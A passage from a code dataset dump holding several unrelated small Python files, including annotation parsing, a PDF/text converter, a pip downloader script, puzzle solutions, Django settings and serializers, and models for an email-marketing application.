self.annotations.update({fileName:data})\n\n return self.annotations\n\n \n def getBoxes(self):\n for fileName in self.annotations_fileNames:\n boxes = {}\n f = open(self.annotations_path + fileName)\n data = json.load(f)\n obj_counter = 0 \n # print(type(data[\"annotation\"][\"object\"]))\n \n if type(data[\"annotation\"][\"object\"]) is dict:\n # there is only one object\n boxes.update({\n data[\"annotation\"][\"filename\"]:\n [{\"object_no\":obj_counter,\n \"label\":data[\"annotation\"][\"object\"][\"name\"], \n \"bndbox\": data[\"annotation\"][\"object\"][\"bndbox\"]}]\n \n })\n obj_counter+=1\n #print(data[\"annotation\"][\"object\"][\"name\"])\n #print(boxes)\n\n elif type(data[\"annotation\"][\"object\"]) is list:\n boxes_list = []\n for obj in data[\"annotation\"][\"object\"]:\n #there are more than one objects\n temp = {\"object_no\": obj_counter, \n \"label\" : obj[\"name\"],\n \"bndbox\": obj[\"bndbox\"]}\n \n boxes_list.append(temp)\n obj_counter+=1\n boxes.update({data[\"annotation\"][\"filename\"]:boxes_list})\n \n #print(data[\"annotation\"][\"object\"])\n # print(boxes)\n print(\"\\n\\n\\n\\n\")\n print(fileName)\n print(boxes) \n self.boxes.update(boxes) \n \n return self.boxes\n\nif __name__ == \"__main__\":\n anne = Annotations(\"/home/archangel/work/Lays_and_surf_excel/lays-and-surfexcel/data/final dataset/hot_and_sweet/json_annotations/\") \n \n annotations = anne.getAnnotations()\n boxes = anne.getBoxes()\n #print(boxes)\n","sub_path":"annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"351592257","text":"#!/usr/bin/env python\n\n# cache.py: grlc spec caching utilities\nimport json\nimport urllib.request, urllib.error, urllib.parse\nimport logging\n\n# Name of the cache json file\nCACHE_NAME = \"db-cache.json\"\n\nglogger = logging.getLogger(__name__)\ndef init_cache():\n '''\n Initializes the grlc cache (json file)\n '''\n cache_obj = json.loads(\"{}\")\n try:\n with open(CACHE_NAME, 'r') as cache_file:\n try:\n cache_obj = json.load(cache_file)\n except ValueError:\n print(\"The cache file seems to be empty, starting with flushed cache\")\n except IOError:\n print(\"The cache file seems to be empty, starting with flushed cache\")\n\n print(\"Loaded JSON cache\")\n\n return cache_obj\n\ndef is_cache_updated(cache_obj, repo_uri):\n if repo_uri not in cache_obj:\n return False\n cache_date = cache_obj[repo_uri]['date']\n stream = urllib.request.urlopen(repo_uri)\n resp = json.load(stream)\n github_date = resp['pushed_at']\n\n return cache_date > github_date\n","sub_path":"src/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"416095661","text":"import os\r\nimport tkinter as tk\r\nfrom PyPDF2 import PdfFileReader\r\nfrom tkinter import filedialog\r\nfrom pathlib import Path\r\nfrom fpdf import FPDF\r\ntxt2pdf = FPDF()\r\n\r\n\r\ndef PDFToText():\r\n # Choosing the file\r\n my_file = filedialog.askopenfilename(initialdir=\"/\", title=\"Select File\",\r\n filetypes=((\"PDF Files\", \"*.pdf\"),))\r\n pdf_reader = PdfFileReader(str(my_file))\r\n File = os.path.basename(str(my_file))\r\n # Splitting the name to name it properly in the future\r\n name = File.split(\".\")[0]\r\n # Setting the name of the text file\r\n output_file_path = Path.home() / \"Desktop\" / f\"{name}.txt\"\r\n # Opening the file and getting the info into it using the module\r\n with output_file_path.open(mode=\"w\", encoding='utf-8') as output_file:\r\n title = pdf_reader.documentInfo.title\r\n num_pages = pdf_reader.getNumPages()\r\n output_file.write(f\"{title}\\\\nNumber of pages: {num_pages}\\\\n\\\\n\")\r\n for page in pdf_reader.pages:\r\n t = page.extractText()\r\n output_file.write(t)\r\n # Showing a file converted message at the end\r\n top = tk.Toplevel()\r\n tk_resultsfound_label = tk.Label(\r\n top, text=f\"File Converted {my_file} to {output_file}\", font=\"none 12 bold\")\r\n tk_resultsfound_label.pack()\r\n\r\n\r\ndef All_toPDF():\r\n # Same things as the upper one\r\n my_file = filedialog.askopenfilename(initialdir=\"/\", title=\"Select File\",\r\n filetypes=((\"Text Files\", \"*.txt\"), (\"HTML Files\", \"*.html\"), (\"All Files\", \"*.*\")))\r\n File = os.path.basename(str(my_file))\r\n name = File.split(\".\")[0]\r\n output_file_path = Path.home() / \"Desktop\" / f\"{name}.pdf\"\r\n # Reading the text file and exporting it into a PDF\r\n with open(my_file, \"r\", encoding=\"utf-8\") as f:\r\n n = f.readlines()\r\n k = [a.replace(\"\\n\", \"\") for a in n]\r\n txt2pdf.add_page()\r\n for x in k:\r\n txt2pdf.set_font(\"Arial\", size=15)\r\n txt2pdf.cell(200, 10, txt=x, ln=1, align=\"C\")\r\n txt2pdf.output(output_file_path)\r\n # Showing a file converted message at the end\r\n top = tk.Toplevel()\r\n tk_resultsfound_label = tk.Label(\r\n top, text=f\"File Converted {name}\", font=\"none 12 bold\")\r\n tk_resultsfound_label.pack()\r\n\r\n\r\n# Basic configurations of the GUI\r\nroot = tk.Tk()\r\nroot.title(\"PDF-Text Conventer\")\r\nroot.configure(background=\"red\")\r\nframe = tk.Frame(root, bg=\"white\")\r\nframe.place(relwidth=0.8, relheight=0.8, relx=0.1, rely=0.1)\r\nPDF_Button = tk.Button(root, text=\"Choose a File to Convert to PDF\", padx=310,\r\n pady=5, fg=\"white\", bg=\"red\", command=All_toPDF)\r\nPDF_Button.pack(side=\"bottom\")\r\n\r\nTxt_Button = tk.Button(root, text=\"Choose a PDF File to Convert to Text\", padx=310,\r\n pady=5, fg=\"white\", bg=\"red\", command=PDFToText)\r\nTxt_Button.pack(side=\"bottom\")\r\n\r\nroot.mainloop()\r\n","sub_path":"PDF_Generator.py","file_name":"PDF_Generator.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"273328336","text":"from __future__ import unicode_literals, print_function, division\nimport os\nimport zipfile\nfrom veil.frontend.cli import *\nfrom veil_component import *\nfrom veil.utility.shell import *\n\nPACKAGE_SUFFIX = '.tar.gz'\n\n@script('download-package')\ndef download_package(package, **kwargs):\n# modified from https://github.com/wolever/pip2pi/blob/master/libpip2pi/commands.py\n outdir = as_path('/opt/pypi')\n if not outdir.exists():\n outdir.mkdir()\n\n tempdir = outdir / '_temp'\n if tempdir.exists():\n tempdir.rmtree()\n tempdir.mkdir()\n\n bundle_zip = tempdir / 'bundle.zip'\n build_dir = tempdir / 'build'\n shell_execute('pip bundle -b {} {} {}'.format(build_dir, bundle_zip, package), capture=True, **kwargs)\n\n previous_cwd = os.getcwd()\n tempdir.chdir()\n if build_dir.exists():\n zipfile.ZipFile('bundle.zip').extract('pip-manifest.txt')\n else:\n # Older versions of pip delete the \"build\" directory after they\n # are done with it... So extract the entire bundle.zip\n zipfile.ZipFile('bundle.zip').extractall()\n\n downloaded_packages = {}\n for line in open('pip-manifest.txt'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n pkg_version = line.split('==')\n if len(pkg_version) != 2:\n bundle_file = os.path.abspath('pip-manifest.txt')\n raise ValueError('surprising line in %r: %r' % (bundle_file, line))\n pkg, version = pkg_version\n version = version.replace('-', '_')\n old_input_dir = os.path.join('build/', pkg)\n new_input_dir = '%s-%s' % (pkg, version)\n os.rename(old_input_dir, new_input_dir)\n output_name = os.path.join(\"..\", new_input_dir + PACKAGE_SUFFIX)\n downloaded_packages[pkg] = (version, 'file://{}'.format(outdir / '{}{}'.format(new_input_dir, PACKAGE_SUFFIX)))\n shell_execute('tar -czf {} {}'.format(output_name, new_input_dir), capture=True)\n\n os.chdir(previous_cwd)\n tempdir.rmtree()\n return downloaded_packages\n\n\ndef get_downloaded_python_package_version(name):\n versions = []\n OPT_PYPI = as_path('/opt/pypi')\n if OPT_PYPI.exists():\n prefix = '{}-'.format(name)\n for path in OPT_PYPI.files():\n filename = path.basename()\n if filename.startswith(prefix) and filename.endswith(PACKAGE_SUFFIX):\n versions.append((filename[len(prefix): -len(PACKAGE_SUFFIX)], 'file://{}'.format(path)))\n versions.sort(reverse=True)\n return versions[0] if versions else (None, None)\n","sub_path":"src/veil/server/python/pip_hack.py","file_name":"pip_hack.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"198754043","text":"\"\"\"\nIn the classic problem of the Towers of Hanoi, you have 3 towers and N disks of different sizes which can slide onto any tower.\nThe puzzle starts with disks sorted in ascending order of size from top to bottom (i.e., each disk sits on top of an even larger one).\nYou have the following constraints:\n(1) Only one disk can be moved at a time.\n(2) A disk is slid off the top of one tower onto the next tower.\n(3) A disk can only be placed on top of a larger disk.\nWrite a program to move the disks from the first tower to the last using stacks.\n\"\"\"\n\ndef hanoi(num, start, temp, end):\n if num > 0:\n hanoi(num - 1, start, end, temp)\n print(\"Move Disk \" + str(num) + \" from Tower \" + start + \" to Tower \" + end)\n hanoi(num - 1, temp, start, end)\n\nnum = 3\nhanoi(num, \"A\", \"B\", \"C\")\n","sub_path":"ch3/3.4.py","file_name":"3.4.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"166307633","text":"#!/usr/bin/python\n\nf = open(\"D-large-0.in\", \"r\")\nf2 = open(\"D-large-0.out\", \"w\")\n\ndef main2():\n\tN = int(f.readline())\n\tnaomi = map(float, f.readline().split())\n\tken = map(float, f.readline().split())\n\tnaomi.sort()\n\tken.sort()\n\tfair, unfair = 0, 0\n\tfor x in ken:\n\t\tif (x > naomi[fair]) and (fair < N): fair += 1\n\tfor x in naomi:\n\t\tif (x > ken[unfair]) and (unfair < N): unfair += 1\n\n\tf2.write(\"%d %d\" % (unfair, N - fair))\n\ntk = int(f.readline())\n\nfor i in xrange(tk):\n\tf2.write(\"Case #%d: \" % (i + 1))\n\tmain2()\n\tf2.write('\\n')\n\nf.close()\nf2.close()","sub_path":"solutions_5644738749267968_1/Python/mycodef/D-large-0.py","file_name":"D-large-0.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"380845328","text":"# -*- coding: utf-8 -*-\nimport os\nimport pymysql\nfrom .base import *\n\npymysql.install_as_MySQLdb()\nget_env = os.environ.get\n\nDEBUG = bool(get_env('DEBUG', False))\nADMINS = [(\"Django-logging\", \"django-log@abel.nabla.no\")]\nTEMPLATE_DEBUG=False\n\nSECRET_KEY = get_env('SECRET_KEY')\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': get_env('MYSQL_DATABASE'),\n 'USER': get_env('MYSQL_USER'),\n 'PASSWORD': get_env('MYSQL_USER_PASSWORD'),\n }\n}\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'timestamp': {\n 'format': '%(asctime)s %(message)s',\n },\n },\n 'handlers': {\n 'file': {\n 'level': 'ERROR',\n 'class': 'logging.FileHandler',\n 'filename': get_env('DJANGO_LOG_PATH', '/var/log/django/nablaweb/error.log'),\n 'formatter': 'timestamp',\n },\n },\n 'loggers': {\n 'django': {\n 'handlers': ['file'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n },\n}\n\nBPC_TESTING = False\n\nFILE_UPLOAD_PERMISSIONS = 0o644\nFILE_UPLOAD_DIRECTORY_PERMISSIONS = 0o755\n","sub_path":"nablaweb/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"620333891","text":"from django.contrib.auth import authenticate\n\nfrom rest_framework import serializers\nfrom rest_framework import exceptions\n\nfrom rest_framework.fields import empty\n\nfrom collections import OrderedDict\nfrom rest_framework.relations import PKOnlyObject\nfrom rest_framework.fields import SkipField\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth import authenticate\nfrom .models import *\n\nclass RemoveNullSerializerMixIn(serializers.Serializer):\n\tdef to_representation(self, instance):\n\t\t\"\"\"\n\t\tObject instance -> Dict of primitive datatypes.\n\t\t\"\"\"\n\t\tret = OrderedDict()\n\t\tfields = self._readable_fields\n\t\t\n\t\tfor field in fields:\n\t\t\ttry:\n\t\t\t\tattribute = field.get_attribute(instance)\n\t\t\texcept SkipField:\n\t\t\t\tcontinue\n\t\t\t\n\t\t\t# We skip `to_representation` for `None` values so that fields do\n\t\t\t# not have to explicitly deal with that case.\n\t\t\t#\n\t\t\t# For related fields with `use_pk_only_optimization` we need to\n\t\t\t# resolve the pk value.\n\t\t\tcheck_for_none = attribute.pk if isinstance(attribute, PKOnlyObject) else attribute\n\t\t\tif check_for_none is None:\n\t\t\t\t#ret[field.field_name] = None\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tvalue = field.to_representation(attribute)\n\t\t\t\tif value is not None:\n\t\t\t\t\tret[field.field_name] = value\n\t\t\n\t\treturn ret\n\nclass MobUserSerializer(RemoveNullSerializerMixIn, serializers.ModelSerializer):\n\twx_nickname = serializers.CharField(source='real_wx_nickname')\n\twx_headimgurl = serializers.CharField(source='real_wx_headimgurl')\n\tclass Meta:\n\t\tmodel = MobUser\n\t\tfields = ('mob', 'wx_nickname', 'wx_headimgurl')\n\n\tdef __init__(self, instance=None, data=empty, **kwargs):\n\t\tif instance and instance.parent:\n\t\t\tinstance = instance.parent\n\t\tsuper(MobUserSerializer, self).__init__(instance, data, **kwargs)\n\nclass JWTSerializer(serializers.Serializer):\n\ttoken = serializers.CharField()\n\tuser = MobUserSerializer()\n\nclass LoginSerializer(serializers.Serializer):\n\tmob = serializers.CharField(required=True, allow_blank=False)\n\tcode = serializers.CharField(required=True, allow_blank=False)\n\n\tdef validate(self, attrs):\n\t\tmob = attrs.get('mob')\n\t\tcode = attrs.get('code')\n\n\t\tuser = None\n\n\t\tif mob and code:\n\t\t\tuser = authenticate(mob=mob, code=code)\n\t\telse:\n\t\t\tmsg = _('Must include \"mob\" and \"code\".')\n\t\t\traise exceptions.ValidationError(msg)\n\n\t\tif user:\n\t\t\tif not user.is_active:\n\t\t\t\tmsg = _('User account is disabled.')\n\t\t\t\traise exceptions.ValidationError(msg)\n\t\telse:\n\t\t\tmsg = _('Unable to log in with provided credentials.')\n\t\t\traise exceptions.ValidationError(msg)\n\t\t\n\t\tattrs['user'] = user\n\t\treturn attrs\n\nclass BindSerializer(serializers.Serializer):\n\tmob = serializers.CharField(required=True, allow_blank=False)\n\tcode = serializers.CharField(required=True, allow_blank=False)\n\n\tdef validate(self, attrs):\n\t\tmob = attrs.get('mob')\n\t\tcode = attrs.get('code')\n\t\t\n\t\tuser = None\n\n\t\tif mob and code:\n\t\t\tuser = authenticate(mob=mob, code=code)\n\t\telse:\n\t\t\tmsg = _('Must include \"mob\" and \"code\".')\n\t\t\traise exceptions.ValidationError(msg)\n\n\t\tif user:\n\t\t\tattrs['user'] = user\n\t\telse:\n\t\t\tmsg = _('Unable to log in with provided credentials.')\n\t\t\traise exceptions.ValidationError(msg)\n\n\t\treturn attrs\n\n\n\n\n\n\n\t\n","sub_path":"authentication/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"574906637","text":"# -*- coding: utf-8 -*-\n# This file is part of MME.\n#\n# Copyright(c) 2010-2011 Federico Gerardi\n# federicogerardi94@gmail.com\n# http://www.darkness.ns0.it\n# http://www.itraid.ns0.it\n# http://darkness.altervista.org\n#\n# This file may be licensed under the terms of of the\n# GNU General Public License Version 2 (the ``GPL'').\n#\n# Software distributed under the License is distributed\n# on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either\n# express or implied. See the GPL for the specific language\n# governing rights and limitations.\n#\n# You should have received a copy of the GPL along with this\n# program. If not, go to http://www.gnu.org/licenses/gpl.html\n# or write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport ConfigParser\n\nclass configuration:\n\tdef __init__(self):\n\t\tself.parser = ConfigParser.ConfigParser()\n\t\tself.parser.read('/etc/mme.ini')\n\t\tself.getall()\n\n\tdef getall(self):\n\t\t#[GENERAL-CONFIG]\n\t\t#self.logfile = self.get('GENERAL-CONFIG', 'logfile', '/var/log/GMA')\n\t\t#self.refreshtime = self.getint('GENERAL-CONFIG', 'refreshtime', 300)\n\n\t\t#[IMAP-CONFIG]\n\t\tself.imap_email = self.get('IMAP-CONFIG', 'email', 'root@localhost')\n\t\tself.imap_username = self.get('IMAP-CONFIG', 'username', 'root')\n\t\tself.imap_password = self.get('IMAP-CONFIG', 'password', 'root')\n\t\tself.imap_server = self.get('IMAP-CONFIG', 'server', 'localhost')\n\t\tself.imap_SSL = self.getbool('IMAP-CONFIG', 'SSL', False)\n\n\t\tif self.imap_SSL == True:\n\t\t\tself.imap_port = self.getint('IMAP-CONFIG', 'port', 993)\n\t\telse:\n\t\t\tself.imap_port = self.getint('IMAP-CONFIG', 'port', 143)\n\n\t\t#[SMTP-CONFIG]\n\t\tself.smtp_email = self.get('SMTP-CONFIG', 'email', 'root@localhost')\n\t\tself.smtp_usertoshow = self.get('SMTP-CONFIG', 'usertoshow', 'root')\n\t\tself.smtp_username = self.get('SMTP-CONFIG', 'username', 'root')\n\t\tself.smtp_password = self.get('SMTP-CONFIG', 'password', 'root')\n\t\tself.smtp_server = self.get('SMTP-CONFIG', 'server', 'localhost')\n\t\tself.smtp_SSL = self.getbool('SMTP-CONFIG', 'SSL', False)\n\t\tself.smtp_auth = self.getbool('SMTP-CONFIG', 'auth', True)\n\t\tself.smtp_TLS = self.getbool('SMTP-CONFIG', 'TLS', False)\n\n\t\tif self.smtp_SSL == True:\n\t\t\tself.smtp_port = self.getint('SMTP-CONFIG', 'port', 465)\n\t\telse:\n\t\t\tself.smtp_port = self.getint('SMTP-CONFIG', 'port', 25)\n\n\tdef get(self, section, option, default):\n\t\tif self.parser.has_option(section, option):\n\t\t\treturn self.parser.get(section, option)\n\t\telse:\n\t\t\treturn default\n\t\n\tdef getbool(self, section, option, default):\n\t\tif self.parser.has_option(section, option):\n\t\t\treturn self.parser.getboolean(section, option)\n\t\telse:\n\t\t\treturn default\n\t\n\tdef getint(self, section, option, default):\n\t\tif self.parser.has_option(section, option):\n\t\t\treturn self.parser.getint(section, option)\n\t\telse:\n\t\t\treturn default\n","sub_path":"core/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"544973013","text":"from sys import argv\n\nwith open(argv[1], 'r') as f:\n for line in f:\n l, d, n, *prev = (int(a) for a in line.rstrip().split())\n if n:\n bats = int((prev[0] - 6) / d) + int((l - 6 - prev[-1]) / d)\n bats += sum(int((c - b) / d - 1) for b, c in zip(prev, prev[1:]))\n else:\n bats = int((l - 12) / d + 1)\n print(bats)\n","sub_path":"Moderate/bats_challenge.py","file_name":"bats_challenge.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"485438921","text":"# -*- encoding: utf-8 -*-\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.core.urlresolvers import reverse\nfrom autoslug import AutoSlugField\nimport random\nfrom django.utils import timezone\nfrom django.db.models import Q\nfrom django.utils.text import slugify\nfrom config.settings import STATIC_URL, MEDIA_URL, DEFAULT_FROM_EMAIL, SITE_ID, PRODUCTION, N_EVERBOUNCE\nfrom imagekit.models import ImageSpecField, ProcessedImageField\nfrom imagekit.processors import ResizeToFill, Transpose, SmartResize\nfrom django.template.loader import get_template\nfrom django.template import Context, Template\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.contrib.sites.models import Site\nimport csv\nfrom openpyxl import load_workbook\nfrom validate_email import validate_email\nfrom django.shortcuts import render, redirect, render_to_response\nfrom bs4 import BeautifulSoup\nfrom django.core.mail import EmailMultiAlternatives, get_connection\nfrom neverbounce import NeverBounce\nfrom random import randint\nimport time \nimport urllib2\nimport json\nfrom datetime import datetime, timedelta, date\n\nneverbounce = NeverBounce('gjfMQlL3', N_EVERBOUNCE)\n\nAccount = (\n ('eadmailmx', 'eadmailmx'),\n ('powergym', 'powergym'),\n)\n\nclass Account(models.Model):\n type_acount = models.CharField('Tipo de cuenta',max_length= 50)\n name = models.CharField('Nombre de la cuenta', max_length= 80)\n validity = models.DateField('Vigencia de la cuenta', auto_now_add=True)\n market = models.ManyToManyField('Market', blank=True)\n send_email = models.EmailField('Email de quien envia', null=True, blank = True, help_text='Es el e-mail con el que llegaran tus correos de la campaña.')\n send_name = models.CharField('Nombre de quien envia', null=True, blank = True, max_length=100, help_text='Nombre u organizacion que esta enviando esta campaña')\n verify = models.BooleanField(default=True)\n tokens_payment = models.IntegerField(default=100)\n tokens_suscription = models.IntegerField(default=0)\n last_update = models.DateField('Ultima actualización', null=True, blank = True)\n\n def tokens_payment_(self):\n if self.name == 'zf-polanco' or self.name == 'zf-coacalco' or self.name == 'zf-universidad' or self.name == 'zf-altavista' or self.name == 'zf-arboledas' or self.name == 'zf-ojodeagua' or self.name == 'zf-cancun' or self.name == 'zf-lomasverdes':\n account = Account.objects.get(name = 'zf-polanco')\n return account.tokens_payment\n else: \n return self.tokens_payment\n\n def tokens_suscription_(self):\n if self.name == 'zf-polanco' or self.name == 'zf-coacalco' or self.name == 'zf-universidad' or self.name == 'zf-altavista' or self.name == 'zf-arboledas' or self.name == 'zf-ojodeagua' or self.name == 'zf-cancun' or self.name == 'zf-lomasverdes':\n account = Account.objects.get(name = 'zf-polanco')\n return account.tokens_suscription\n else: \n return self.tokens_suscription\n\n def picture(self):\n return STATIC_URL + 'images/ico.png'\n\n def tokens(self):\n if self.name == 'zf-polanco' or self.name == 'zf-coacalco' or self.name == 'zf-universidad' or self.name == 'zf-altavista' or self.name == 'zf-arboledas' or self.name == 'zf-ojodeagua' or self.name == 'zf-cancun' or self.name == 'zf-lomasverdes':\n account = Account.objects.get(name = 'zf-polanco')\n return account.tokens_payment + account.tokens_suscription\n else: \n return self.tokens_payment + self.tokens_suscription\n\n def hard_bounces(self):\n if self.name == 'zf-polanco' or self.name == 'zf-coacalco' or self.name == 'zf-universidad' or self.name == 'zf-altavista' or self.name == 'zf-arboledas' or self.name == 'zf-ojodeagua' or self.name == 'zf-cancun' or self.name == 'zf-lomasverdes':\n account = Account.objects.get(name = 'zf-polanco')\n if account.tokens_suscription:\n account.tokens_suscription -= 3\n account.save()\n else:\n account.tokens_payment -= 3\n account.save()\n else:\n if self.tokens_suscription:\n self.tokens_suscription -= 3\n self.save\n elif self.tokens_payment:\n self.tokens_payment -= 3\n self.save\n return True\n\n def subscribers(self):\n return len(Subscribers.objects.filter(subscriberslist__account = self, is_subscribe=True))\n\n def unsubscribers(self):\n return len(Subscribers.objects.filter(subscriberslist__account = self, is_subscribe=False))\n\n def blacklist(self):\n return len(BlackList.objects.filter(account=self))\n\n def templates(self):\n return len(My_Template.objects.filter(account=self))\n\n def load_list(self):\n activos = Subscriberslist.objects.get(name = 'Activos', account = self)\n no_activos = Subscriberslist.objects.get(name = 'No activos', account = self)\n prospectos = Subscriberslist.objects.get(name = 'Prospectos', account = self)\n vencen1mes = Subscriberslist.objects.get(name = 'Vencen en 1 mes', account = self)\n vencidos30dias = Subscriberslist.objects.get(name = 'Vencidos hace 30 dias', account = self)\n vencidosmas30dias = Subscriberslist.objects.get(name = 'Vencidos mas de 30 dias', account = self)\n subscribers_update = Subscribers.objects.filter( Q(subscriberslist = activos) | Q(subscriberslist = no_activos) | Q(subscriberslist = prospectos) | Q(subscriberslist = vencen1mes) | Q(subscriberslist = vencidos30dias) | Q(subscriberslist = vencidosmas30dias) )\n subscribers_update.update(flag=False)\n self.last_update = timezone.now().date()\n self.save()\n conn = urllib2.urlopen('http://e-admin.mx/eadmail/listado.php?'+self.name, None)\n data = json.loads(conn.read())\n conn.close()\n for objecto in data:\n try:\n emails = objecto['email'].split(',')\n for email in emails:\n if validate_email(email):\n dia, mes, ano = objecto['fecha_creacion'].split(' ')\n d = date(int(ano), int(mes), int(dia))\n subscribers = Subscribers()\n subscribers.name = objecto['nombre']\n subscribers.email = email\n if objecto['lista'] == 'activos':\n subscribers.subscriberslist = activos\n elif objecto['lista'] == 'no_activos':\n subscribers.subscriberslist = no_activos\n elif objecto['lista'] == 'prospectos':\n subscribers.subscriberslist = prospectos\n elif objecto['lista'] == 'faltan_1_y_30_dias':\n subscribers.subscriberslist = vencen1mes\n elif objecto['lista'] == 'entre_1_y_30_dias':\n subscribers.subscriberslist = vencidos30dias\n elif objecto['lista'] == 'entre_31_y_60_dias':\n subscribers.subscriberslist = vencidosmas30dias\n elif objecto['lista'] == 'entre_61_y_90_dias':\n subscribers.subscriberslist = vencidosmas30dias\n elif objecto['lista'] == 'mayor_91_dias':\n subscribers.subscriberslist = vencidosmas30dias\n if Subscribers.objects.filter( email = email, subscriberslist=subscribers.subscriberslist ):\n subscribers = Subscribers.objects.get( email = email, subscriberslist=subscribers.subscriberslist )\n subscribers.flag = True\n subscribers.save()\n except:\n pass\n Subscribers.objects.filter( Q(subscriberslist = activos, flag=False) | Q(subscriberslist = no_activos, flag=False) | Q(subscriberslist = prospectos, flag=False) | Q(subscriberslist = vencen1mes, flag=False) | Q(subscriberslist = vencidos30dias, flag=False) | Q(subscriberslist = vencidosmas30dias, flag=False) ).delete() \n \n return True\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name_plural = 'Cuenta'\n verbose_name = 'Cuentas'\n\nclass User(AbstractUser):\n account = models.ForeignKey('Account', verbose_name='Cuenta', null=True, blank = True)\n\n class Meta:\n verbose_name_plural = 'Usuarios'\n verbose_name = 'Usuario'\n\n def __str__(self):\n return self.username\n\nclass Contact(models.Model):\n name = models.CharField('Tu nombre',max_length= 50)\n email = models.CharField('Tu email',max_length= 30)\n phone = models.CharField('Teléfono', max_length= 20, null=True, blank = True)\n message = models.TextField('Mensaje', max_length= 244)\n date = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n verbose_name_plural = 'Contacto'\n verbose_name = 'Contacto'\n\nclass Subscriberslist(models.Model):\n name = models.CharField('Nombre de la lista', max_length=100, help_text='Esta es la forma de reconocer los grupos de suscriptores para tus camapañas')\n slug = AutoSlugField(populate_from='name', always_update=True)\n is_fixed = models.BooleanField(default=False)\n account = models.ForeignKey('Account')\n creation_date = models.DateTimeField(auto_now_add=True)\n modified_date = models.DateTimeField(auto_now=True)\n last_used = models.DateTimeField(null=True, blank=True)\n edit = models.CharField(max_length= 100, blank=True, null=True)\n\n def add_suscriber(self, email, name):\n try:\n if validate_email(email):\n if not Subscribers.objects.filter(subscriberslist = self, email=email):\n subscribers = Subscribers()\n subscribers.name = name\n subscribers.email = email\n subscribers.subscriberslist = self\n subscribers.save()\n return True\n except:\n return False\n\n def subscribers(self):\n return len(Subscribers.objects.filter(subscriberslist=self, delete=False, is_subscribe=True))\n\n def unsubscribers(self):\n return len(Subscribers.objects.filter(subscriberslist=self, delete=False, is_subscribe=False))\n\n def total(self):\n return len(Subscribers.objects.filter(subscriberslist=self, delete=False))\n\n def actives(self):\n return len(Subscribers.objects.filter(subscriberslist=self, delete=False, ip__isnull=False))\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name_plural = 'Listas'\n verbose_name = 'Lista'\n\nclass Subscribers(models.Model):\n subscriberslist = models.ForeignKey('Subscriberslist', null=True, on_delete=models.SET_NULL)\n name = models.CharField('Nombre del suscriptor (Opcional)', max_length=200, blank=True, null=True, help_text='Puedes personalizar los correos que envies con el nombre del suscriptor')\n email = models.EmailField('Correo del suscriptor', help_text='Esta es la dirección de correo de su suscriptor')\n creation_date = models.DateTimeField(auto_now=True)\n is_subscribe = models.BooleanField(default=True, db_index=True)\n subscribe_date = models.DateTimeField(auto_now=True)\n unsubscribe_date = models.DateTimeField(null=True, blank=True)\n ip = models.CharField(max_length= 50, blank=True, null=True)\n city = models.CharField(max_length= 50, null=True, blank = True)\n continent_code = models.CharField(max_length= 50, null=True, blank = True)\n region = models.CharField(max_length= 50, null=True, blank = True)\n longitude = models.CharField(max_length= 50, null=True, blank = True)\n latitude = models.CharField(max_length= 50, null=True, blank = True)\n postal_code = models.CharField(max_length= 50, null=True, blank = True)\n country_name = models.CharField(max_length= 50, null=True, blank = True)\n device = models.CharField(max_length= 50, null=True, blank = True)\n delete = models.BooleanField(default = False)\n edit = models.CharField(max_length= 100, blank=True, null=True)\n flag = models.BooleanField(default=True)\n json = models.TextField(null=True, blank=True)\n\n def __str__(self):\n return str(self.id)\n\n class Meta:\n verbose_name_plural = 'Suscriptores'\n verbose_name = 'Suscriptores'\n\nclass My_Template(models.Model):\n account = models.ForeignKey('Account', null=True, blank = True)\n name = models.CharField('Nombre de la plantilla', max_length=100, help_text='Ingresa el nombre de la plantilla para identificarla de las demas')\n html = models.TextField(null=True, blank = True)\n market = models.ForeignKey('Market', null=True, blank=True, on_delete=models.SET_NULL)\n slug = AutoSlugField(populate_from='name', always_update=True)\n creation_date = models.DateTimeField(auto_now_add=True)\n modified_date = models.DateTimeField(auto_now=True)\n last_used = models.DateTimeField(null=True, blank=True)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name_plural = 'Plantillas'\n verbose_name = 'Plantilla'\n\ndef market_path(self, filename):\n return \"market/%s/%s\" % (self.name, filename)\n\nclass Market(models.Model):\n\n name = 